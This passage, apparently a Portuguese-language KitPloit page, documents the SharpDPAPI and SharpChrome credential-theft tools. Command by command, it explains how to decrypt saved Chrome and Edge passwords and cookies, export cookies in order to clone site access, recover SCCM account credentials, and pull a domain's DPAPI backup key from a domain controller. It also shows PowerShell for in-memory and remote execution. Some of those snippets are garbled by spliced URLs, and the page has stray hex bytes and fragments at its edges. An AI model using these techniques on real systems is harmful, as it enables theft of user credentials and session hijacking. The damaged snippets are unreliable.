0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB

O comando search tem diferentes argumentos dependendo do tipo de dados a ser escaneado. Para designar o tipo de dados, use o argumento /type especificando registry, folder, file ou base64. Se o argumento /type não estiver presente, o comando procurará no registro por padrão.

Ao pesquisar o registro sem outros argumentos, o comando pesquisará recursivamente as colmeias HKEY_LOCAL_MACHINE e HKEY_USERS. Use o parâmetro /path para especificar uma raiz a partir da qual pesquisar (ex.: /path:HKLM\Software) e use o argumento /showErrors para exibir erros que ocorrem durante a enumeração.

Ao pesquisar um arquivo ou pasta, especifique um caminho com /path:C:\Path\to\file\or\folder e, opcionalmente, use /maxBytes:<int> para especificar o número de bytes a serem lidos de cada arquivo (padrão: 1024 bytes). O comando lerá os bytes do início do arquivo e procurará por blobs DPAPI. Use /showErrors para exibir erros que ocorrem durante a enumeração.

Ao pesquisar um blob base64, especifique os bytes codificados em base64 a serem escaneados com o parâmetro /base64:<str base64>.

SCCM

Se estiver em contexto elevado em uma máquina cliente SCCM, se o ambiente SCCM estiver configurado com uma Network Access Account (NAA), os blobs DPAPI protegidos pela chave mestre do sistema contendo as credenciais NAA podem ser recuperados via WMI; O comando SCCM consultará os blobs via WMI, recuperará as chaves mestras do sistema e descriptografará os blobs.

Comandos SharpChrome

logins

O comando logins procurará arquivos 'Login Data' do Chrome e descriptografará as senhas de login salvas. Se a execução for em um contexto não elevado, CryptProtectData() será usado automaticamente para tentar descriptografar os valores. Se /browser:edge for especificado, o navegador Edge baseado em Chromium mais recente será analisado.

Arquivos Login Data também podem ser descriptografados com a) quaisquer chaves mestras "{GUID}:SHA1 {GUID}:SHA1 ..." passadas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário, ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de consulta de descriptografia. Mapeamentos GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

Um arquivo Login Data específico pode ser especificado com /target:FILE. Um /server:SERVER remoto pode ser especificado se um /pvk ou /password também for fornecido. Se estiver analisando instâncias mais recentes do Chrome/Edge, uma chave de estado AES /statekey:X pode ser especificada.

Por padrão, os logins são exibidos em formato csv. Isso pode ser modificado com /format:table para saída em tabela. Além disso, por padrão, apenas entradas com valor de senha não nulo são exibidas, mas todos os valores podem ser exibidos com /showall.

Se executado em contexto elevado, os arquivos Login Data de TODOS os usuários serão analisados; caso contrário, apenas os arquivos Login Data do usuário atual serão processados.

cookies

O comando cookies procurará arquivos 'Cookies' do Chromium e descriptografará os valores dos cookies. Se a execução for em um contexto não elevado, CryptProtectData() será usado automaticamente para tentar descriptografar os valores. Você pode alterar o aplicativo alvo usando o parâmetro /browser:<VALOR> (ex.: edge, brave, slack).

Arquivos de cookies também podem ser descriptografados com a) quaisquer chaves mestras "{GUID}:SHA1 {GUID}:SHA1 ..." passadas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário, ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de consulta de descriptografia. Mapeamentos GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

Um arquivo de cookies específico pode ser especificado com /target:FILE. Um /server:SERVER remoto pode ser especificado se um /pvk ou /password também for fornecido. Se estiver analisando instâncias mais recentes do Chrome/Edge, uma chave de estado AES /statekey:X pode ser especificada.

Por padrão, os cookies são exibidos em formato csv. Isso pode ser modificado com /format:table para saída em tabela, ou /format:json para saída importável pelo EditThisCookie. Além disso, por padrão, apenas entradas de cookie não expiradas são exibidas, mas todos os valores podem ser exibidos com /showall.

Se executado em contexto elevado, os arquivos de cookies de TODOS os usuários serão analisados; caso contrário, apenas os arquivos de cookies do usuário atual serão processados.

O comando cookies também tem argumentos /cookie:REGEX e /url:REGEX para retornar apenas nomes de cookies ou urls que correspondam à regex fornecida. Isso é útil com /format:json para clonar facilmente o acesso a sites específicos.

statekeys

Por padrão, o comando statekeys procurará aplicativos baseados em Chromium (Google Chrome, Edge, Brave e Slack), localizará seus arquivos de chave de estado AES (ex.: 'AppData\Local\Google\Chrome\User Data\Local State' e 'AppData\Local\Microsoft\Edge\User Data\Local State') e os descriptografará usando o mesmo tipo de argumentos que podem ser fornecidos para cookies e logins. Você também pode fornecer o caminho para um arquivo de chave de estado específico usando o parâmetro /target: (ex.: "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").

As chaves de estado também podem ser descriptografadas com a) quaisquer chaves mestras "{GUID}:SHA1 {GUID}:SHA1 ..." passadas, b) um /mkfile:FILE com um ou mais mapeamentos de chave mestra {GUID}:SHA1, c) uma chave de backup de domínio DPAPI fornecida (/pvk:BASE64... ou /pvk:key.pvk) para primeiro descriptografar quaisquer chaves mestras de usuário, ou d) uma /password:X para descriptografar quaisquer chaves mestras de usuário, que são então usadas como uma tabela de consulta de descriptografia. Mapeamentos GUID DPAPI podem ser recuperados com o comando sekurlsa::dpapi do Mimikatz.

Se executado em contexto elevado, as chaves de estado de TODOS os usuários serão analisadas; caso contrário, apenas as chaves de estado do usuário atual serão processadas.

backupkey

O comando backupkey recuperará a chave de backup DPAPI do domínio de um controlador de domínio usando a abordagem da API LsaRetrievePrivateData do Mimikatz. Esta chave privada pode então ser usada para descriptografar blobs de chave mestra de qualquer usuário no domínio. E melhor ainda, a chave nunca muda ;)

São necessários direitos de administrador de domínio (ou equivalente) para recuperar a chave de um controlador de domínio remoto.

O sinalizador /nowrap impedirá a quebra de linha da chave base64 na exibição.

Este blob de chave base64 pode ser decodificado para um arquivo .pvk binário que pode ser usado com o módulo dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk do Mimikatz, ou usado na forma blob/arquivo /pvk:X com os comandos masterkeys, credentials ou vault do SharpDPAPI.

Por padrão, o SharpDPAPI tentará determinar o controlador de domínio atual via chamada da API DsGetDcName. Um servidor pode ser especificado com /server:COMPUTER.domain.com. Se você quiser salvar a chave no disco em vez de emitir como um blob base64, use /file:key.pvk.

Instruções de Compilação

Não planejamos lançar binários para o SharpDPAPI, então você precisará compilar por conta própria :)

O SharpDPAPI foi construído para .NET 3.5 e é compatível com Visual Studio 2019 Community Edition. Simplesmente abra o arquivo .sln do projeto, escolha "Release" e compile.

Segmentando para outras versões .NET

A configuração de compilação padrão do SharpDPAPI é para .NET 3.5, o que falhará em sistemas sem essa versão instalada. Para segmentar o SharpDPAPI para .NET 4 ou 4.5, abra a solução .sln, vá em Project -> SharpDPAPI Properties e altere a "Target framework" para outra versão.

Nota Lateral: Executando SharpDPAPI Através do PowerShell

Se você deseja executar o SharpDPAPI na memória através de um wrapper do PowerShell, primeiro compile o SharpDPAPI e codifique o assembly resultante em base64:

root@kitploit:~
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt

O SharpDPAPI pode então ser carregado em um script PowerShell com o seguinte (onde "aa..." é substituído pela string base64 do assembly do SharpDPAPI):

root@kitploit:~
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))

O método Main() e quaisquer argumentos podem então ser invocados da seguinte forma:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)

Nota Lateral da Nota Lateral: Executando SharpDPAPI Via PSRemoting

Devido à forma como o PSRemoting lida com a saída, precisamos redirecionar stdout para uma string e retorná-la em vez disso. Felizmente, o SharpDPAPI possui uma função para ajudar com isso.

Se você seguir as instruções em Nota Lateral: Executando SharpDPAPI Através do PowerShell para criar um SharpDPAPI.ps1, anexe algo como o seguinte ao script:

root@kitploit:~
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)

Você deve então conseguir executar o SharpDPAPI via PSRemoting com algo como:

root@kitploit:~
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1

Alternativamente, o argumento /consoleoutfile:C:\FILE.txt do SharpDPAPI redirecionará todos os fluxos de saída para o arquivo especificado.

Baixar ferramenta
credentials
/mkfile:FILE
/pvk:BASE64...
/pvk:key.pvk
masterkeys
/password:X
sekurlsa::dpapi